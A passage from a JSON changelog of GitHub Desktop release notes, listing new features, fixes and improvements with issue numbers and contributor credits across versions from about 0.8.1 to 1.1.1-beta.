Thanks @agisilaos!", "[Improved] Move forget password link after the password dialog to match expected tab order - #4283. Thanks @iamnapo!", "[Improved] More descriptive text in repository toolbar button when no repositories are tracked - #4268. Thanks @agisilaos!", "[Improved] Context menu in Changes tab now supports opening file in your preferred editor - #4030" ], "1.1.1-beta4": [ "[Improved] Context menu in Changes tab now supports opening file in your preferred editor - #4030" ], "1.1.1-beta3": [], "1.1.1-beta2": [ "[New] Render WebP images in diffs - #4164. Thanks @agisilaos!", "[Fixed] Edit context menus in commit form input elements - #3886", "[Fixed] Escape behavior should match that of Branch List - #3972", "[Fixed] Keep caret position after inserting completion - #3835. Thanks @CarlRosell!", "[Fixed] Handle error events when watching files used to get Git LFS output - #4117", "[Fixed] Potential race condition when opening a fork pull request - #4149", "[Fixed] Show placeholder image when no pull requests found - #3973", "[Fixed] Disable input fields summary and description while commit in progress - #3893. Thanks @crea7or!", "[Fixed] Ensure pull request cache is cleared after last pull request merged - #4122", "[Fixed] Focus two-factor authentication dialog on input - #4220. Thanks @WaleedAshraf!", "[Fixed] Branches button no longer disabled while on an unborn branch - #4236. Thanks @agisilaos!", "[Fixed] Delete gitignore file when entries cleared in Repository Settings - #1896", "[Fixed] Add visual indicator that a folder can be dropped on Desktop - #4004. Thanks @agisilaos!", "[Improved] Add `Discard All Changes...` to context menu on changed file list - #4197. Thanks @xamm!", "[Improved] Improve contrast for button labels in app toolbar - #4219", "[Improved] Speed up check for submodules when discarding - #4186. Thanks @kmscode!", "[Improved] Make the keychain known issue more clear within Desktop - #4125", "[Improved] Continue past the 'diff too large' message and view the diff - #4050", "[Improved] Repository association might not have expected prefix - #4090. Thanks @mathieudutour!", "[Improved] Add message to gitignore dialog when not on default branch - #3720", "[Improved] Hide Desktop-specific forks in Branch List - #4127", "[Improved] Disregard accidental whitespace when cloning a repository by URL - #4216", "[Improved] Show alert icon in repository list when repository not found on disk - #4254. Thanks @gingerbeardman!", "[Improved] Repository list now closes after removing last repository - #4269. Thanks @agisilaos!", "[Improved] Move forget password link to after the password dialog to maintain expected tab order - #4283. Thanks @iamnapo!", "[Improved] More descriptive text in repository toolbar button when no repositories are tracked - #4268. Thanks @agisilaos!" ], "1.1.1-test2": ["[Improved] Electron 1.8.3 upgrade (again)"], "1.1.1-test1": [ "[Improved] Forcing a focus on the window after the OAuth dance is done" ], "1.1.1-beta1": [], "1.1.0": [ "[New] Check out pull requests from collaborators or forks from within Desktop", "[New] View the commit status of the branch when it has an open pull request", "[Added] Add RubyMine support for macOS - #3883. Thanks @gssbzn!", "[Added] Add TextMate support for macOS - #3910. Thanks @caiofbpa!", "[Added] Syntax highlighting for Elixir files - #3774. Thanks @joaovitoras!", "[Fixed] Update layout of branch blankslate image - #4011", "[Fixed] Expanded avatar stack in commit summary gets cut off - #3884", "[Fixed] Clear repository filter when switching tabs - #3787. Thanks @reyronald!", "[Fixed] Avoid crash when unable to launch shell - #3954", "[Fixed] Ensure renames are detected when viewing commit diffs - #3673", "[Fixed] Fetch default remote if it differs from the current - #4056", "[Fixed] Handle Git errors when .gitmodules are malformed - #3912", "[Fixed] Handle error when \"where\" is not on PATH - #3882 #3825", "[Fixed] Ignore action assumes CRLF when core.autocrlf is unset - #3514", "[Fixed] Prevent duplicate entries in co-author autocomplete list - #3887", "[Fixed] Renames not detected when viewing commit diffs - #3673", "[Fixed] Support legacy usernames as co-authors - #3897", "[Improved] Update branch button text from \"New\" to \"New Branch\" - #4032", "[Improved] Add fuzzy search in the repository, branch, PR, and clone FilterLists - #911. Thanks @j-f1!", "[Improved] Tidy up commit summary and description layout in commit list - #3922. Thanks @willnode!", "[Improved] Use smaller default size when rendering Gravatar avatars - #3911", "[Improved] Show fetch progress when initializing remote for fork - #3953", "[Improved] Remove references to Hubot from the user setup page - #4015. Thanks @j-f1!", "[Improved] Error handling around ENOENT - #3954", "[Improved] Clear repository filter text when switching tabs - #3787. Thanks @reyronald!", "[Improved] Allow window to accept single click on focus - #3843", "[Improved] Disable drag-and-drop interaction when a popup is in the foreground - #3996" ], "1.1.0-beta3": [ "[Fixed] Fetch default remote if it differs from the current - #4056" ], "1.1.0-beta2": [ "[Improved] Update embedded Git to improve error handling when using stdin - #4058" ], "1.1.0-beta1": [ "[Improved] Add 'Branch' to 'New' branch button - #4032", "[Improved] Remove references to Hubot from the user setup page - #4015. Thanks @j-f1!" ], "1.0.14-beta5": [ "[Fixed] Improve detection of pull requests associated with current branch - #3991", "[Fixed] Disable drag-and-drop interaction when a popup is in the foreground - #3996", "[Fixed] Branch blank slate image out of position - #4011" ], "1.0.14-beta4": [ "[New] Syntax highlighting for Elixir files - #3774. Thanks @joaovitoras!", "[Fixed] Crash when unable to launch shell - #3954", "[Fixed] Support legacy usernames as co-authors - #3897", "[Improved] Enable fuzzy search in the repository, branch, PR, and clone FilterLists - #911. Thanks @j-f1!", "[Improved] Tidy up commit summary and description layout in commit list - #3922. Thanks @willnode!" ], "1.0.14-test1": ["[Improved] Electron 1.8.2 upgrade"], "1.0.14-beta3": [ "[Added] Add TextMate support for macOS - #3910. Thanks @caiofbpa!", "[Fixed] Handle Git errors when .gitmodules are malformed - #3912", "[Fixed] Clear repository filter when switching tabs - #3787. Thanks @reyronald!", "[Fixed] Prevent duplicate entries in co-author autocomplete list - #3887", "[Improved] Show progress when initializing remote for fork - #3953" ], "1.0.14-beta2": [ "[Added] Add RubyMine support for macOS - #3883. Thanks @gssbzn!", "[Fixed] Allow window to accept single click on focus - #3843", "[Fixed] Expanded avatar list hidden behind commit details - #3884", "[Fixed] Renames not detected when viewing commit diffs - #3673", "[Fixed] Ignore action assumes CRLF when core.autocrlf is unset - #3514", "[Improved] Use smaller default size when rendering Gravatar avatars - #3911" ], "1.0.14-beta1": ["[New] Commit together with co-authors - #3879"], "1.0.13": [ "[New] Commit together with co-authors - #3879", "[New] PhpStorm is now a supported external editor on macOS - #3749. Thanks @hubgit!", "[Improved] Update embedded Git to 2.16.1 - #3617 #3828 #3871", "[Improved] Blank slate view is now more responsive when zoomed - #3777", "[Improved] Documentation fix for Open in Shell resource - #3799. Thanks @saschanaz!", "[Improved] Improved error handling for Linux - #3732", "[Improved] Allow links in unexpanded summary to be clickable - #3719. Thanks @koenpunt!", "[Fixed] Update Electron to 1.7.11 to address security issue - #3846", "[Fixed] Allow double dashes in branch name - #3599. Thanks @JQuinnie!", "[Fixed] Sort the organization list - #3657. Thanks @j-f1!", "[Fixed] Check out PRs from a fork - #3395", "[Fixed] Confirm deleting branch when it has an open PR - #3615", "[Fixed] Defer user/email validation in Preferences - #3722", "[Fixed] Checkout progress did not include branch name - #3780", "[Fixed] Don't block branch switching when in detached HEAD - #3807", "[Fixed] Handle discarding submodule changes properly - #3647", "[Fixed] Show tooltip with additional info about the build status - #3134", "[Fixed] Update placeholders to support Linux distributions - #3150", "[Fixed] Refresh local commit list when switching tabs - #3698" ], "1.0.13-test1": [ "[Improved] Update embedded Git to 2.16.1 - #3617 #3828 #3871", "[Fixed] Update Electron to 1.7.11 to address security issue - #3846", "[Fixed] Allows double dashes in branch name - #3599. Thanks @JQuinnie!", "[Fixed] Pull Request store may not have status defined - #3869", "[Fixed] Render the Pull Request badge when no commit statuses found - #3608" ], "1.0.13-beta1": [ "[New] PhpStorm is now a supported external editor on macOS - #3749. Thanks @hubgit!", "[Improved] Blank slate view is now more responsive when zoomed - #3777", "[Improved] Documentation fix for Open in Shell resource - #3799. Thanks @saschanaz!", "[Improved] Improved error handling for Linux - #3732", "[Improved] Allow links in unexpanded summary to be clickable - #3719. Thanks @koenpunt!", "[Fixed] Sort the organization list - #3657. Thanks @j-f1!", "[Fixed] Check out PRs from a fork - #3395", "[Fixed] Confirm deleting branch when it has an open PR - #3615", "[Fixed] Defer user/email validation in Preferences - #3722", "[Fixed] Checkout progress did not include branch name - #3780", "[Fixed] Don't block branch switching when in detached HEAD - #3807", "[Fixed] Handle discarding submodule changes properly - #3647", "[Fixed] Show tooltip with additional info about the build status - #3134", "[Fixed] Update placeholders to support Linux distributions - #3150", "[Fixed] Refresh local commit list when switching tabs - #3698" ], "1.0.12": [ "[New] Syntax highlighting for Rust files - #3666. Thanks @subnomo!", "[New] Syntax highlighting for Clojure cljc, cljs, and edn files - #3610. Thanks @mtkp!", "[Improved] Prevent creating a branch in the middle of a merge - #3733", "[Improved] Truncate long repo names in panes and modals to fit into a single line - #3598. Thanks @http-request!", "[Improved] Keyboard navigation support in pull request list - #3607", "[Fixed] Inconsistent caret behavior in text boxes when using certain keyboard layouts - #3354", "[Fixed] Only render the organizations list when it has orgs - #1414", "[Fixed] Checkout now handles situations where a ref exists on multiple remotes - #3281", "[Fixed] Retain accounts on desktop when losing connectivity - #3641", "[Fixed] Missing argument in FullScreenInfo that could prevent app from launching - #3727. Thanks @OiYouYeahYou!" ], "1.0.12-beta1": [ "[New] Syntax highlighting for Rust files - #3666. Thanks @subnomo!", "[New] Syntax highlighting for Clojure cljc, cljs, and edn files - #3610. Thanks @mtkp!", "[Improved] Prevent creating a branch in the middle of a merge - #3733", "[Improved] Truncate long repo names in panes and modals to fit into a single line - #3598. Thanks @http-request!", "[Improved] Keyboard navigation support in pull request list - #3607", "[Fixed] Inconsistent caret behavior in text boxes when using certain keyboard layouts - #3354", "[Fixed] Only render the organizations list when it has orgs - #1414", "[Fixed] Checkout now handles situations where a ref exists on multiple remotes - #3281", "[Fixed] Retain accounts on desktop when losing connectivity - #3641", "[Fixed] Missing argument in FullScreenInfo that could prevent app from launching - #3727. Thanks @OiYouYeahYou!" ], "1.0.12-beta0": [ "[New] Highlight substring matches in the \"Branches\" and \"Repositories\" list when filtering - #910. Thanks @JordanMussi!", "[New] Add preview for ico files - #3531. Thanks @serhiivinichuk!", "[New] Fallback to Gravatar for loading avatars - #821", "[New] Provide syntax highlighting for Visual Studio project files - #3552. Thanks @saul!", "[New] Provide syntax highlighting for F# fsx and fsi files - #3544. Thanks @saul!", "[New] Provide syntax highlighting for Kotlin files - #3555. Thanks @ziggy42!", "[New] Provide syntax highlighting for Clojure - #3523. Thanks @mtkp!", "[Improved] Toggle the \"Repository List\" from the menu - #2638. Thanks @JordanMussi!", "[Improved] Prevent saving of disallowed character strings for your name and email - #3204", "[Improved] Error messages now appear at the top of the \"Create a New Repository\" dialog - #3571. Thanks @http-request!", "[Improved] \"Repository List\" header is now \"Github.com\" for consistency - #3567. Thanks @iFun!", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] Fix ordering of commit history when your branch and tracking branch have both changed - #2737", "[Fixed] Prevent creating a branch that starts with a period - #3013. Thanks @JordanMussi!", "[Fixed] Branch names are properly encoded when creating a pull request - #3509", "[Fixed] Re-enable all the menu items after closing a popup - #3533", "[Fixed] Removes option to delete remote branch after it's been deleted - #2964. Thanks @JordanMussi!", "[Fixed] Windows: Detects available editors and shells now works even when the group policy blocks write registry access - #3105 #3405", "[Fixed] Windows: Menu items are no longer truncated - #3547", "[Fixed] Windows: Prevent disabled menu items from being accessed - #3391 #1521", "[Fixed] Preserve the selected pull request when a manual fetch is done - #3524", "[Fixed] Update pull request badge after switching branches or pull requests - #3454", "[Fixed] Restore keyboard arrow navigation for pull request list - #3499" ], "1.0.11": [ "[New] Highlight substring matches in the \"Branches\" and \"Repositories\" list when filtering - #910. Thanks @JordanMussi!", "[New] Add preview for ico files - #3531. Thanks @serhiivinichuk!", "[New] Fallback to Gravatar for loading avatars - #821", "[New] Provide syntax highlighting for Visual Studio project files - #3552. Thanks @saul!", "[New] Provide syntax highlighting for F# fsx and fsi files - #3544. Thanks @saul!", "[New] Provide syntax highlighting for Kotlin files - #3555. Thanks @ziggy42!", "[New] Provide syntax highlighting for Clojure - #3523. Thanks @mtkp!", "[Improved] Toggle the \"Repository List\" from the menu - #2638. Thanks @JordanMussi!", "[Improved] Prevent saving of disallowed character strings for your name and email - #3204", "[Improved] Error messages now appear at the top of the \"Create a New Repository\" dialog - #3571. Thanks @http-request!", "[Improved] \"Repository List\" header is now \"Github.com\" for consistency - #3567. Thanks @iFun!", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] Fix ordering of commit history when your branch and tracking branch have both changed - #2737", "[Fixed] Prevent creating a branch that starts with a period - #3013. Thanks @JordanMussi!", "[Fixed] Branch names are properly encoded when creating a pull request - #3509", "[Fixed] Re-enable all the menu items after closing a popup - #3533", "[Fixed] Removes option to delete remote branch after it's been deleted - #2964. Thanks @JordanMussi!", "[Fixed] Windows: Detects available editors and shells now works even when the group policy blocks write registry access - #3105 #3405", "[Fixed] Windows: Menu items are no longer truncated - #3547", "[Fixed] Windows: Prevent disabled menu items from being accessed - #3391 #1521" ], "1.0.11-test0": [ "[Improved] now with a new major version of electron-packager" ], "1.0.11-beta0": [ "[Improved] Refresh the pull requests list after fetching - #3503", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. Thanks @say25!", "[Fixed] URL encode branch names when creating a pull request - #3509", "[Fixed] Windows: detecting available editors and shells now works even when the group policy blocks write registry access - #3105 #3405" ], "1.0.10": [ "[New] ColdFusion Builder is now a supported external editor - #3336 #3321. Thanks @AtomicCons!", "[New] VSCode Insiders build is now a supported external editor - #3441. Thanks @say25!", "[New] BBEdit is now a supported external editor - #3467. Thanks @NiklasBr!", "[New] Hyper is now a supported shell on Windows too - #3455. Thanks @JordanMussi!", "[New] Swift is now syntax highlighted - #3305. Thanks @agisilaos!", "[New] Vue.js is now syntax highlighted - #3368. Thanks @wanecek!", "[New] CoffeeScript is now syntax highlighted - #3356. Thanks @agisilaos!", "[New] Cypher is now syntax highlighted - #3440. Thanks @say25!", "[New] .hpp is now syntax highlighted as C++ - #3420. Thanks @say25!", "[New] ML-like languages are now syntax highlighted - #3401. Thanks @say25!", "[New] Objective-C is now syntax highlighted - #3355. Thanks @koenpunt!", "[New] SQL is now syntax highlighted - #3389. Thanks @say25!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Improved] Avoid excessive background fetching when switching repositories - #3329", "[Improved] Ignore menu events sent when a modal is shown - #3308", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268", "[Fixed] Windows: Removed the title attribute on the Windows buttons so that they no longer leave their tooltips hanging around - #3348. Thanks @j-f1!", "[Fixed] Windows: Detect VS Code when installed to non-standard locations - #3304", "[Fixed] Hitting Return would select the first item in a filter list when the filter text was empty - #3447", "[Fixed] Add some missing keyboard shortcuts - #3327. Thanks @say25!", "[Fixed] Handle \"304 Not Modified\" responses - #3399", "[Fixed] Don't overwrite an existing .gitattributes when creating a new repository - #3419. Thanks @strafe!" ], "1.0.10-beta3": [ "[New] Change \"Create Pull Request\" to \"Show Pull Request\" when there is already a pull request open for the branch - #2524", "[New] VSCode Insiders build is now a supported external editor - #3441. Thanks @say25!", "[New] BBEdit is now a supported external editor - #3467. Thanks @NiklasBr!", "[New] Hyper is now a supported shell - #3455. Thanks @JordanMussi!", "[New] Cypher is now syntax highlighted - #3440. Thanks @say25!", "[New] .hpp is now syntax highlighted as C++ - #3420. Thanks @say25!", "[New] ML-like languages are now syntax highlighted - #3401. Thanks @say25!", "[Improved] Use the same colors in pull request dropdown as we use on GitHub.com - #3451", "[Improved] Fancy pull request loading animations - #2868", "[Improved] Avoid excessive background fetching when switching repositories - #3329", "[Improved] Refresh the pull request list when the Push/Pull/Fetch button is clicked - #3448", "[Improved] Ignore menu events sent when a modal is shown - #3308", "[Fixed] Hitting Return would select the first item in a filter list when the filter text was empty - #3447", "[Fixed] Add some missing keyboard shortcuts - #3327. Thanks @say25!", "[Fixed] Handle \"304 Not Modified\" responses - #3399", "[Fixed] Don't overwrite an existing .gitattributes when creating a new repository - #3419. Thanks @strafe!" ], "1.0.10-beta2": [ "[New] SQL is now syntax highlighted! - #3389. Thanks @say25!", "[Fixed] Windows: Detect VS Code when installed to non-standard locations - #3304" ], "1.0.10-beta1": [ "[New] Vue.js code is now syntax highlighted! - #3368. Thanks @wanecek!", "[New] CoffeeScript is now syntax highlighted! - #3356. Thanks @agisilaos!", "[New] Highlight .m as Objective-C - #3355. Thanks @koenpunt!", "[Improved] Use smarter middle truncation for branch names - #3357", "[Fixed] Windows: Removed the title attribute on the Windows buttons so that they no longer leave their tooltips hanging around - #3348. Thanks @j-f1!" ], "1.0.10-beta0": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9-beta1": [ "[New] ColdFusion Builder is now available as an option for External Editor - #3336 #3321. Thanks @AtomicCons!", "[New] Swift code is now syntax highlighted - #3305. Thanks @agisilaos!", "[Improved] Better message on the 'Publish Branch' button when HEAD is unborn - #3344. Thanks @Venkat5694!", "[Improved] Better error message when trying to push to an archived repository - #3084. Thanks @agisilaos!", "[Fixed] Parse changed files whose paths include a newline - #3271", "[Fixed] Parse file type changes - #3334", "[Fixed] Windows: 'Open without Git' would present the dialog again instead of actually opening a shell without git - #3290", "[Fixed] Avoid text selection when dragging resizable dividers - #3268" ], "1.0.9-beta0": [ "[Fixed] Crash when rendering diffs for certain types of files - #3249", "[Fixed] Continually being prompted to add the upstream remote, even when it already exists - #3252" ], "1.0.8": [ "[Fixed] Crash when rendering diffs for certain types of files - #3249", "[Fixed] Continually being prompted to add the upstream remote, even when it already exists - #3252" ], "1.0.8-beta0": [ "[New] Syntax highlighted diffs - #3101", "[New] Add upstream to forked repositories - #2364", "[Fixed] Only reset scale of title bar on macOS - #3193", "[Fixed] Filter symbolic refs in the branch list - #3196", "[Fixed] Address path issue with invoking Git Bash - #3186", "[Fixed] Update embedded Git to support repository hooks and better error messages - #3067 #3079", "[Fixed] Provide credentials to LFS repositories when performing checkout - #3167", "[Fixed] Assorted changelog typos - #3174 #3184 #3207. Thanks @strafe, @alanaasmaa and @jt2k!" ], "1.0.7": [ "[New] Syntax highlighted diffs - #3101", "[New] Add upstream to forked repositories - #2364", "[Fixed] Only reset scale of title bar on macOS - #3193", "[Fixed] Filter symbolic refs in the branch list - #3196", "[Fixed] Address path issue with invoking Git Bash - #3186", "[Fixed] Update embedded Git to support repository hooks and better error messages - #3067 #3079", "[Fixed] Provide credentials to LFS repositories when performing checkout - #3167", "[Fixed] Assorted changelog typos - #3174 #3184 #3207. Thanks @strafe, @alanaasmaa and @jt2k!" ], "1.0.7-beta0": [ "[Fixed] The Branches list wouldn't display the branches for non-GitHub repositories - #3169", "[Fixed] Pushing or pulling could error when the temp directory was unavailable - #3046" ], "1.0.6": [ "[Fixed] The Branches list wouldn't display the branches for non-GitHub repositories - #3169", "[Fixed] Pushing or pulling could error when the temp directory was unavailable - #3046" ], "1.0.5": [ "[New] The command line interface now provides some helpful help! - #2372. Thanks @j-f1!", "[New] Create new branches from the Branches foldout - #2784", "[New] Add support for VSCode Insiders - #3012 #3062. Thanks @MSathieu!", "[New] Linux: Add Atom and Sublime Text support - #3133. Thanks @ziggy42!", "[New] Linux: Tilix support - #3117. Thanks @ziggy42!", "[New] Linux: Add Visual Studio Code support - #3122. Thanks @ziggy42!", "[Improved] Report errors when a problem occurs storing tokens - #3159", "[Improved] Bump to Git 2.14.3 - #3146", "[Improved] Don't try to display diffs that could cause the app to hang - #2596", "[Fixed] Handle local user accounts with URL-hostile characters - #3107", "[Fixed] Cloning a repository which uses Git LFS would leave all the files appearing modified - #3146", "[Fixed] Signing in in the Welcome flow could hang - #2769", "[Fixed] Properly replace old Git LFS configuration values - #2984" ], "1.0.5-beta1": [ "[New] Create new branches from the Branches foldout - #2784", "[New] Add support for VSCode Insiders - #3012 #3062. Thanks @MSathieu!", "[New] Linux: Add Atom and Sublime Text support - #3133. Thanks @ziggy42!", "[New] Linux: Tilix support - #3117. Thanks @ziggy42!", "[New] Linux: Add Visual Studio Code support - #3122. Thanks @ziggy42!", "[Improved] Report errors when a problem occurs storing tokens - #3159", "[Improved] Bump to Git 2.14.3 - #3146", "[Improved] Don't try to display diffs that could cause the app to hang - #2596", "[Fixed] Handle local user accounts with URL-hostile characters - #3107", "[Fixed] Cloning a repository which uses Git LFS would leave all the files appearing modified - #3146", "[Fixed] Signing in in the Welcome flow could hang - #2769", "[Fixed] Properly replace old Git LFS configuration values - #2984" ], "1.0.5-test1": [], "1.0.5-test0": [], "1.0.5-beta0": [ "[New] The command line interface now provides some helpful help! - #2372. Thanks @j-f1!" ], "1.0.4": [ "[New] Report Git LFS progress when cloning, pushing, pulling, or reverting - #2226", "[Improved] Increased diff contrast and and line gutter selection - #2586 #2181", "[Improved] Clarify why publishing a branch is disabled in various scenarios - #2773", "[Improved] Improved error message when installing the command Line tool fails - #2979. Thanks @agisilaos!", "[Improved] Format the branch name in \"Create Branch\" like we format branch names elsewhere - #2977. Thanks @j-f1!", "[Fixed] Avatars not updating after signing in - #2911", "[Fixed] Lots of bugs if there was a file named \"HEAD\" in the repository - #3009 #2721 #2938", "[Fixed] Handle duplicate config values when saving user.name and user.email - #2945", "[Fixed] The \"Create without pushing\" button when creating a new pull request wouldn't actually do anything - #2917" ], "1.0.4-beta1": [ "[New] Report Git LFS progress when cloning, pushing, pulling, or reverting - #2226", "[Improved] Increased diff contrast and and line gutter selection - #2586 #2181", "[Improved] Clarify why publishing a branch is disabled in various scenarios - #2773", "[Improved] Improved error message when installing the command Line tool fails - #2979. Thanks @agisilaos!", "[Improved] Format the branch name in \"Create Branch\" like we format branch names elsewhere - #2977. Thanks @j-f1!", "[Fixed] Avatars not updating after signing in - #2911", "[Fixed] Lots of bugs if there was a file named \"HEAD\" in the repository - #3009 #2721 #2938", "[Fixed] Handle duplicate config values when saving user.name and user.email - #2945", "[Fixed] The \"Create without pushing\" button when creating a new pull request wouldn't actually do anything - #2917 #2917" ], "1.0.4-beta0": [ "[Improved] Increase the contrast of the modified file status octicons - #2914", "[Fixed] Showing changed files in Finder/Explorer would open the file - #2909", "[Fixed] macOS: Fix app icon on High Sierra - #2915", "[Fixed] Cloning an empty repository would fail - #2897 #2906", "[Fixed] Catch logging exceptions - #2910" ], "1.0.3": [ "[Improved] Increase the contrast of the modified file status octicons - #2914", "[Fixed] Showing changed files in Finder/Explorer would open the file - #2909", "[Fixed] macOS: Fix app icon on High Sierra - #2915", "[Fixed] Cloning an empty repository would fail - #2897 #2906", "[Fixed] Catch logging exceptions - #2910" ], "1.0.2": [ "[Improved] Better message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Improved] Clone error message now suggests networking might be involved - #2872. Thanks @agisilaos!", "[Improved] Include push/pull progress information in the push/pull button tooltip - #2879", "[Improved] Allow publishing a brand new, empty repository - #2773", "[Improved] Make file paths in lists selectable - #2801. Thanks @artivilla!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712", "[Fixed] Use the initial path provided when creating a new repository - #2883", "[Fixed] Windows: Avoid long path limits when discarding changes - #2833", "[Fixed] Files would get deleted when undoing the first commit - #2764", "[Fixed] Find the repository root before adding it - #2832", "[Fixed] Display warning about an existing folder before cloning - #2777 #2830", "[Fixed] Show contents of directory when showing a repository from Show in Explorer/Finder instead of showing the parent - #2798" ], "1.0.2-beta1": [ "[Improved] Clone error message now suggests networking might be involved - #2872. Thanks @agisilaos!", "[Improved] Include push/pull progress information in the push/pull button tooltip - #2879", "[Improved] Allow publishing a brand new, empty repository - #2773", "[Improved] Make file paths in lists selectable - #2801. Thanks @artivilla!", "[Fixed] Use the initial path provided when creating a new repository - #2883", "[Fixed] Windows: Avoid long path limits when discarding changes - #2833", "[Fixed] Files would get deleted when undoing the first commit - #2764", "[Fixed] Find the repository root before adding it - #2832", "[Fixed] Display warning about an existing folder before cloning - #2777 #2830", "[Fixed] Show contents of directory when showing a repository from Show in Explorer/Finder instead of showing the parent - #2798" ], "1.0.2-beta0": [ "[Improved] Message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712" ], "1.0.1": [ "[Improved] Message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712" ], "1.0.1-beta0": [ "[Fixed] Use the loading/disabled state while publishing - #1995", "[Fixed] Lock down menu item states for unborn repositories - #2744 #2573", "[Fixed] Windows: Detecting the available shells and editors when using a language other than English - #2735" ], "1.0.0": [ "[Fixed] Use the loading/disabled state while publishing - #1995", "[Fixed] Lock down menu item states for unborn repositories - #2744 #2573", "[Fixed] Windows: Detecting the available shells and editors when using a language other than English - #2735" ], "1.0.0-beta3": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.9.1": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "1.0.0-beta2": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.9.0": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.8.2": [ "[New] Ask to install LFS filters when an LFS repository is added - #2227", "[New] Clone GitHub repositories tab - #57", "[New] Option to opt-out of confirming discarding changes - #2681", "[Fixed] Long commit summary truncation - #1742", "[Fixed] Ensure the repository list is always enabled - #2648", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Clicking the \"Cancel\" button on the Publish Branch dialog - #2646", "[Fixed] Windows: Don't rely on PATH for knowing where to find chcp - #2678", "[Fixed] Relocating a repository now actually does that - #2685", "[Fixed] Clicking autocompletes inserts them - #2674", "[Fixed] Use shift for shortcut chord instead of alt - #2607", "[Fixed] macOS: \"Open in Terminal\" works with repositories with spaces in their path - #2682" ], "1.0.0-beta1": [ "[New] Option to to opt-out of confirming discarding changes - #2681", "[Fixed] Windows: Don't rely on PATH for knowing where to find chcp - #2678", "[Fixed] Relocating a repository now actually does that - #2685", "[Fixed] Clicking autocompletes inserts them - #2674", "[Fixed] Use shift for shortcut chord instead of alt - #2607", "[Fixed] macOS: \"Open in Terminal\" works with repositories with spaces in their path - #2682" ], "1.0.0-beta0": [ "[New] Ask to install LFS filters when an LFS repository is added - #2227", "[New] Clone GitHub repositories tab - #57", "[Fixed] Long commit summary truncation - #1742", "[Fixed] Ensure the repository list is always enabled - #2648", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Clicking the \"Cancel\" button on the Publish Branch dialog - #2646" ], "0.8.1": [ "[New] 'Open in Shell' now supports multiple shells - #2473", "[New] Windows: Enable adding self-signed certificates - #2581", "[Improved] Enhanced image diffs - #2383", "[Improved] Line diffs - #2461", "[Improved] Octicons updated - #2495", "[Improved] Adds ability 